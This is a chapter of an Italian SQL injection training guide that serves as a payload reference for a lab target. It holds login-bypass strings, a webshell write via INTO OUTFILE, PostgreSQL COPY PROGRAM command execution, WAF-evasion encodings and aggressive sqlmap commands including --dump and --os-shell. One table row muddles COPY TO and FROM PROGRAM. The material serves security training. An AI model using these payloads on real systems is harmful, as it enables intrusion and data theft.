SQL Injection: Anatomia, Rilevazione e Difesa — Guida Pratica per Professionisti della Sicurezza
Capitolo 2 di 10 · aggiornato 03 lug 2026
Il Toolkit dell'Attaccante: Pattern di Payload per SQL Injection e Riferimento per la Manomissione
Il Toolkit dell'Attaccante: Pattern di Payload SQL Injection e Riferimento per Tampering
Questa è la pagina che tieni aperta in un secondo terminale mentre lavori al lab ShopBox su 192.0.2.10. Tutto ciò che trovi qui assume che tu abbia già letto la Pagina 1 e comprenda come l'input controllato dall'attaccante si fonde in una stringa di query SQL. Ho organizzato per database target e tipo di injection, non alfabeticamente, perché è così che si caccia effettivamente: "Cosa gira su 192.0.2.20 rispetto a 192.0.2.30, e quale superficie sto colpendo?"
Pattern Universali: Il Fondamento
Questi funzionano contro qualsiasi backend SQL quando non sai ancora cosa c'è sotto il cofano. Testali prima sul login, la ricerca e la cronologia ordini di ShopBox per fingerprintare il comportamento.
| Payload | Superficie Target | Risposta Attesa / Perché Funziona |
|---|---|---|
' | Username login, casella di ricerca | Errore o pagina alterata — l'apice singolo termina il letterale stringa, rompendo la sintassi della query |
'-- | Qualsiasi parametro stringa | Il commento tronca il resto della query; spesso bypassa il controllo password in WHERE user='input' |
' OR '1'='1 | Form di login | Condizione sempre vera restituisce tutte le righe, potenziale bypass dell'autenticazione |
1 OR 1=1 | Parametri numerici (ID ordine nella cronologia) | Stessa logica senza apici — la superficie cronologia ordini è spesso numerica |
' AND 1=1-- | Sondaggio booleano | La pagina si carica normalmente; conferma il punto di injection, distingue da 1=2 |
' AND 1=2-- | Sondaggio booleano | La pagina differisce (errore, vuota, contenuto diverso) — prova la valutazione condizionale |
Perché questo è importante: L'injection booleana è il modo in cui confermi manualmente una vulnerabilità prima di toccare sqlmap. Se
1=1e1=2producono risposte diverse, il database sta valutando il tuo input come codice. Sulla ricerca ShopBox, ho visto1=2restituire zero prodotti mentre1=1restituisce l'intero catalogo — quella differenza nella dimensione della risposta è il tuo segnale.
MySQL / MariaDB (192.0.2.20): Armi Specifiche per Versione
La variante MySQL di ShopBox risponde a pattern che PostgreSQL ignora completamente. Conosci il tuo target.
| Payload | Scopo | Superficie Target |
|---|---|---|
/*!50000 SELECT */ | Commento condizionale — esegue solo su MySQL/MariaDB 5.1.0+ | Qualsiasi punto di injection; usa per fingerprintare la versione |
/*!50100 AND 1=1*/ | Nascondi la logica booleana dentro la sintassi dei commenti che MySQL esegue comunque | Ricerca, login — elude filtri stringa ingenui |
0x414141 | Letterale stringa codificato in HEX (0x41 = 'A') | Caselle di ricerca dove gli apici vengono eliminati |
' UNION SELECT 0x3c3f70687020706870696e666f28293b203f3e INTO OUTFILE '/var/www/shell.php'-- | Scrive webshell se secure_file_priv è malconfigurato | Raro su installazioni moderne; controlla prima SHOW VARIABLES LIKE 'secure_file_priv' |
⚠️ Solo per uso autorizzato e difensivo.
In termini semplici: /*!50000 ... */ sembra un commento all'occhio umano e ad alcuni filtri, ma MySQL lo analizza ed esegue se la versione corrisponde. Ho visto WAF (Web Application Firewall, filtri che ispezionano le richieste HTTP) farli passare mentre bloccano dichiarazioni UNION nude. Il numero di versione è una soglia minima — /*!50100 gira su 5.1.0 e qualsiasi versione più recente.
MariaDB ha il proprio formato di commento eseguibile per nascondere il codice a MySQL completamente. Se il tuo fingerprinting mostra MariaDB specificamente, controlla la documentazione dell'ultima release per la sintassi attuale; questo spazio cambia tra le release.
PostgreSQL (192.0.2.30): L'Arsenale Più Pesante
Il set di funzionalità di PostgreSQL offre agli attaccanti più interazione diretta con il SO. La variante PostgreSQL di ShopBox dimostra queste per correlazione difensiva.
| Payload | Scopo | Superficie Target |
|---|---|---|
$$ SELECT 1 $$ | Stringa con quoting a dollaro — bypassa i requisiti di escape degli apici | Qualsiasi parametro stringa; alternativa agli apici singoli |
'; COPY (SELECT '') TO PROGRAM 'id';-- | Esegue comando shell via COPY, legge stdout in tabella | Richiede permessi specifici; spesso fallisce ma logga il tentativo |
'; SELECT pg_sleep(5);-- | Conferma basata sul tempo — ritarda la risposta di 5 secondi | Qualsiasi punto di injection; conferma l'esecuzione quando non c'è output di errore |
'; SELECT * FROM pg_stat_progress_copy;-- | Monitora operazioni COPY in corso | Raccolta informazioni; verifica se qualcun altro sta sfruttando |
⚠️ Solo per uso autorizzato e difensivo.
In termini semplici: $$ è il modo di PostgreSQL per dire "questa è una stringa, non trattare gli apici interni in modo speciale." È più pulito per apici annidati e confonde i filtri semplici. COPY ... FROM PROGRAM è quello grosso — esegue un comando shell e incanala l'output in una tabella. La fonte conferma che questo esegue via shell e che gli argomenti da fonti non attendibili necessitano di stripping attento. Su ShopBox, uso questo solo per generare artefatti di log per il lavoro di rilevamento della Pagina 5; la vista pg_stat_progress_copy ti permette di osservarlo in tempo reale.
COPY TO con una query SELECT copia i risultati fuori — meno pericoloso di FROM PROGRAM ma comunque esfiltrazione di dati. Controlla i tuoi log per dichiarazioni COPY inattese; sono rare nel traffico applicativo normale.
Evasione WAF: Quando i Filtri Interferiscono
I deployment moderni di ShopBox (e le applicazioni reali) stanno dietro filtri. Queste tecniche stressano le tue regole difensive prima che lo faccia un attaccante.
| Tecnica | Esempio | Cosa Sconfigge |
|---|---|---|
| Variazione maiuscole/minuscole | UnIoN SeLeCt invece di UNION SELECT | Corrispondenza keyword case-sensitive |
| Alternative agli spazi | /**/, +, %0b, %0c tra token | Filtri che splittano su caratteri spazio letterali |
| Codifica URL | %27 per ', %20 per spazio | Primo decode URL prima del parsing SQL |
| Doppia codifica URL | %2527 (diventa %27 dopo il primo decode) | Decoder che girano una volta, non ricorsivamente |
| Normalizzazione Unicode | %u0027, %c0%a7 | Percorsi di decode non standard nel middleware |
In termini semplici: l'evasione WAF è una corsa alle armi della rappresentazione. Il tuo filtro vede %2527 e lo fa passare; l'applicazione decodifica due volte e vede '. Testo sempre le catene di codifica contro ShopBox con la funzione "URL-encode as you type" di Burp, poi osservo se 192.0.2.10 o il WAF davanti ad esso fa il decoding. Gli script --tamper di sqlmap automatizzano questo — vedi sotto — ma il testing manuale ti insegna cosa sta facendo effettivamente l'automazione.
sqlmap: Flag Essenziali per la Valutazione ShopBox
Questi sono i flag che uso effettivamente contro 192.0.2.10 e 192.0.2.20/192.0.2.30. Controlla l'ultima release di sqlmap per il comportamento attuale; i flag evolvono.
# Scoperta base contro il form di login ShopBox
sqlmap -u "http://192.0.2.10/login.php" --forms --batch --random-agent # Enumerazione aggressiva con script tamper
sqlmap -u "http://192.0.2.10/search.php?term=test" \ --level=5 --risk=3 \ --tamper=space2comment,between,charencode \ --threads=5 \ --proxy=http://127.0.0.1:8080
| Flag | Scopo | Quando Usare |
|---|---|---|
--level=5 | Massima profondità di test — più payload, più boundary | Solo lab; più lento ma cattura casi limite |
--risk=3 | Massimo rischio — include time-based e query pesanti | Solo lab; può DoS (Denial of Service, rendere il servizio non disponibile) target deboli |
--technique=BEUSTQ | Limita a tecniche specifiche: Boolean, Error, Union, Stacked, Time, Query | Dopo fingerprinting; accelera vettori noti |
--tamper=TAMPER | Applica script di offuscamento payload; separati da virgola per catene | Contro input filtrati; verifica cosa fa ogni script |
--dump | Estrae contenuti tabella in CSV locale | Post-conferma; simulazione esfiltrazione dati |
--os-shell | Tentativo shell interattiva del sistema operativo | Dove supportato (MySQL con scrittura file, PostgreSQL COPY PROGRAM) |
--batch | Non interattivo — accetta default | Automazione, pipeline CI |
--crawl=1 | Segue link un livello in profondità | Scoprire punti di injection in pagine collegate |
--prefix="')" --suffix="-- " | Prepende/appende stringhe fisse ai payload | Quando conosci la struttura della query circostante dall'analisi manuale |
Perché questo è importante:
--levele--risknon sono solo slider "più aggressivi". A livello 1-2, sqlmap rinuncia su boundary che sembrano puliti; a 5, testa ogni parametro con varianti di boundary che non digiterei mai manualmente. Il rischio 3 include ritardi temporali in stilepg_sleepche possono bloccare un connection pool. Non eseguo mai rischio 3 contro produzione, ma contro ShopBox è essenziale per copertura completa. Il flag--technique— controlla l'ultima release per la sintassi esatta — ti permette di focalizzarti: se hai già confermato comportamento booleano manualmente, forza--technique=Be salta i probe basati su errore che generano rumore nei tuoi log.
Gli script tamper sono dove vive la vera evasione WAF. sqlmap stesso fa offuscamento minimo — principalmente conversione CHAR() di stringhe tra apici. Gli script tamper aggiungono livelli di codifica, inserimento commenti, randomizzazione case. Poiché non esiste un flag --list-tampers built-in (proposto ma non implementato l'ultima volta che ho controllato), tengo un inventario locale: space2comment sostituisce spazi con /**/, between sostituisce > con NOT BETWEEN 0 AND, charencode codifica URL i caratteri. L'ordine della catena conta: charencode,space2comment produce output diverso da space2comment,charencode. Testa le tue catene contro ShopBox e osserva la cronologia del proxy.
Riferimento Rapido: Mapping Superficie-a-Payload per ShopBox
| Superficie ShopBox | Tipo Parametro Probabile | Inizia Con | Escalation |
|---|---|---|---|
Login (/login.php) | Stringa (username) | Terminazione apice, ' OR '1'='1 | Probe UNION booleano |
Ricerca (/search.php?term=) | Stringa | Terminazione apice, troncamento commento | Query stacked se supportato |
Cronologia Ordini (/orders.php?id=) | Numerico | 1 OR 1=1, 1 AND 1=2 | PostgreSQL: COPY TO PROGRAM per interazione SO |
Tieni questa pagina aperta. Quando passi all'exploitation manuale della Pagina 3, fai riferimento incrociato: "Casella di ricerca su 192.0.2.10, backend MySQL — cosa ha usato effettivamente Samuel?" La risposta è nella prima tabella, seconda riga, e nella sezione evasione WAF se il lab improvvisamente ti mette un filtro di mezzo.
Letture consigliate
- PostgreSQL: Documentazione: 18: COPY
- Sintassi dei Commenti | Server | Documentazione MariaDB
- SQL Injection Bypassing WAF | OWASP Foundation
- PROPOSTA DI FUNZIONALITÀ Ottenere una lista di script tamper predefiniti · Issue #3108 · sqlmapproject/sqlmap · GitHub
- sqlmap/tamper at master · sqlmapproject/sqlmap · GitHub